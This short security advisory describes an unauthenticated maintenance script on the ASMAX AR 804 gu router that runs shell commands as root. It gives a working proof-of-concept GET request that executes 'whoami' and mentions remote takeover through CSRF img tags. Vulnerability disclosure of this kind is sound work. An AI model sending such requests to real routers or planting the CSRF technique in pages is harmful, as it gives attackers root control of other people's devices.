|
|
| |
| ASMAX 804 gu router is a SOHO class device. It provides ADSL / WiFi / Ethernet interfaces. There is an *unauthenticated* maintenance script (named 'script') in /cgi-bin/ directory of the web management interface. When 'system' paramether is passed to the script it allows running OS shell commands as root. |
| |
Credit:
The information has been provided by michal.sajdak at securitum.pl.
The original article can be found at: http://www.securitum.pl/dh/asmax-ar-804-gu-compromise
|
| |
Vulnerable Systems:
* ASMAX 804 gu router version 66.34.1
Proof of concept:
Send a GET request to:
http://192.168.1.1/cgi-bin/script?system%20whoami
Which in turn returns:
Returns: root
Using CSRF attack one could remotely own a router using for example simple img html tags pointing to http://192.168.1.1/...
Disclosure Timeline:
30.12.08 vendor notified
|
|
|
